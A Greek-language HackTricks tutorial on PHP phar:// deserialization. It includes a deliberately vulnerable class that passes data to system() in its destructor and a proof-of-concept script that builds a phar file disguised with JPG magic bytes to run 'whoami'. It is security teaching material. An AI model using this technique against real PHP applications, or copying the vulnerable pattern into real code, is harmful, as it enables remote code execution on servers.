phar:// deserialization
Reading time: 3 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Phar αρχεία (PHP Archive) περιέχουν μεταδεδομένα σε σειριοποιημένη μορφή, έτσι, όταν αναλυθούν, αυτά τα μεταδεδομένα αποσειριοποιούνται και μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια ευπάθεια αποσειριοποίησης μέσα στον PHP κώδικα.
Το καλύτερο πράγμα σχετικά με αυτή τη χαρακτηριστική είναι ότι αυτή η αποσειριοποίηση θα συμβεί ακόμη και χρησιμοποιώντας συναρτήσεις PHP που δεν εκτελούν κώδικα PHP όπως file_get_contents(), fopen(), file() ή file_exists(), md5_file(), filemtime() ή filesize().
Έτσι, φανταστείτε μια κατάσταση όπου μπορείτε να κάνετε έναν PHP ιστό να πάρει το μέγεθος ενός αυθαίρετου αρχείου χρησιμοποιώντας το πρωτόκολλο phar://
, και μέσα στον κώδικα βρίσκετε μια κλάση παρόμοια με την εξής:
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
filesize("phar://test.phar"); #The attacker can control this path
Μπορείτε να δημιουργήσετε ένα phar αρχείο που όταν φορτωθεί θα καταχραστεί αυτή την κλάση για να εκτελέσει αυθαίρετες εντολές με κάτι όπως:
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
Σημειώστε πώς τα μαγικά bytes του JPG (\xff\xd8\xff
) προστίθενται στην αρχή του αρχείου phar για να παρακαμφθούν οι πιθανές περιορισμοί ανέβασμα αρχείων.
Συγκεντρώστε το αρχείο test.phar
με:
php --define phar.readonly=0 create_phar.php
Και εκτελέστε την εντολή whoami
εκμεταλλευόμενοι τον ευάλωτο κώδικα με:
php vuln.php
Αναφορές
https://blog.ripstech.com/2018/new-php-exploitation-technique/
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.